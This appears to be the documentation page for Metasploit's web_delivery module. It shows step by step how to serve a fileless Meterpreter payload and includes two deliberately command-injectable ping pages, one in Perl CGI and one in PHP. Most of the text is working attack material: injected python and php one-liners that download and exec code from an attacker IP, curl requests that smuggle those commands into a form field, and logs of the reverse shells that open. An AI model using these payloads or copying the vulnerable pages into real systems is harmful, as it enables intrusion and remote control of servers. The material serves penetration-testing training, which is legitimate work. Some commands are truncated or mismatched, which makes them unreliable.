13 KiB
As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
Currently, web_delivery supports three different languages for delivery: Python, PHP, and Powershell. You should be able to tell which one you can use based on the target environment you are in.
For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
Verification Steps
To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
At that point, you would use the web_delivery module like in the following example:
- Start msfconsole
- Run:
use exploit/multi/script/web_delivery - Run:
set target 1(1 is PHP. You can useshow targetsto see other options) - Run:
set PAYLOAD php/meterpreter/reverse_tcp(You can doshow payloadsto see what options are suitable for the target) - Run:
set LHOST IP(The IP the payload should connect back to) - Do:
run - At this point, a handler is up for that payload, and the module should instruct you to execute a command.
- Copy the command. Depending on your pentesting scenario, you can either inject the command and get code execution, or run it from the target's shell and get a session:
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.23.1:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));"
[*] Delivering Payload
[*] Sending stage (33684 bytes) to 172.16.23.134
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600
Targets
Python
Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
PHP
PHP is a fairly popular language for web servers, especially Apache.
Powershell/Windows
Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 are the first Windows versions to come with Powershell by default. Older Windows systems such as XP don't come with it by default, but it is still possible to see it installed on a corporate network.
Scenarios
Against a compromised web application
web_delivery would work nicely for a web application with a command execution vulnerability.
One way to approach this would be:
- Start exploit/multi/script/web_delivery
- Use Burp Suite to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
- Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
Shell upgrade
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
Here's how that can be done:
- Start
exploit/multi/script/web_deliverythat generates the command to inject. - Interact with the shell, and copy/paste the command.
- You should get a Meterpreter session.
Vulnerable Pages
Perl cgi
These instructions will create a cgi environment and a vulnerable perl application for exploitation. Kali rolling (2016.2) was utilized for this tutorial.
Setup
In this example we make a post form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner.
-
Enable cgi:
a2enmod cgid -
mkdir /var/www/cgi-bin -
Enable folder for cgi execution: add
ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"to/etc/apache2/sites-enabled/000-default.confinside of theVirtualHosttags -
Create the vulnerable page by writing the following text to
/var/www/cgi-bin/example.pl:#!/usr/bin/perl use CGI qw(:standard); $query = new CGI; print $query->header( -type=> "text/html"), $query->start_html(); $query->import_names( 'Q' ); if ( $Q::ip ) { print system("ping -c 1 $Q::ip"), "<hr>"; } print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED), $query->p("Enter IP to ping:"), $query->textfield(-name=>"ip"), #, -id=>"ip"), $query->submit(-name=>"submit"), $query->end_form(), $query->end_html(); -
Make it executable:
chmod +x /var/www/cgi-bin/example.pl
We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1 we'll submit 127.0.0.1;whoami.
curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
www-data
0<hr><form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping"><p>Enter IP to ping:</p><input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>
</body>
</html>
Exploitation
use exploit/multi/script/web_deliveryset lhost 192.168.2.117exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/vNPlsjE
[*] Local IP: http://192.168.2.117:8080/vNPlsjE
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());"
msf exploit(web_delivery) >
Now browse to the site, and submit the form with the text 127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());". If the site seems to freeze, exploitation was most likely successful.
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.117
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500
or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode to automatically encode for us:
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (38500 bytes) to 192.168.2.117
[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500
100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233
100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit
msf exploit(web_delivery) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)
PHP
In this example we make a post form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.
- Enable cgi:
a2enmod php7.0 - Create the vulnerable page by writing the following text to
/var/www/html/example.php:
<html>
<body>
<?php
if ($_POST["ip"]){
print( shell_exec('ping -c 1 '.$_POST["ip"]) . "<hr>");
}
print("<form method=\"post\"
action=\"/example.php\"
enctype=\"application/x-www-form-urlencoded\"
name=\"ping\">
<p>Enter IP to ping:</p><input type=\"text\" name=\"ip\" value=\"\" />
<input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");
?>
</body>
</html>
We can verify this page is exploitable by chaining commands so instead of submitting 127.0.0.1 we'll submit 127.0.0.1;whoami.
curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"
<html>
<body>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
www-data
<hr><form method="post"
action="/example.php"
enctype="application/x-www-form-urlencoded"
name="ping">
<p>Enter IP to ping:</p><input type="text" name="ip" value="" />
<input type="submit" name="submit" value="submit" /></form> </body>
</html>
Exploitation
use exploit/multi/script/web_deliveryset lhost 192.168.2.117set target 1set payload php/meterpreter/reverse_tcpexploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/de3uw0
[*] Local IP: http://192.168.2.117:8080/de3uw0
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"
msf exploit(web_delivery) >
Now browse to the site, and submit the form with the text 127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));". If the site seems to freeze, exploitation was most likely successful.
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (33986 bytes) to 192.168.2.117
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500
or we can exploit via curl after escaping the double quotes. Note we use --data-urlencode to automatically encode for us:
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
[*] Server started.
[*] Run the following command on the target machine:
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344
[*] 192.168.2.117 web_delivery - Delivering Payload
[*] Sending stage (33986 bytes) to 192.168.2.117
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500
100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit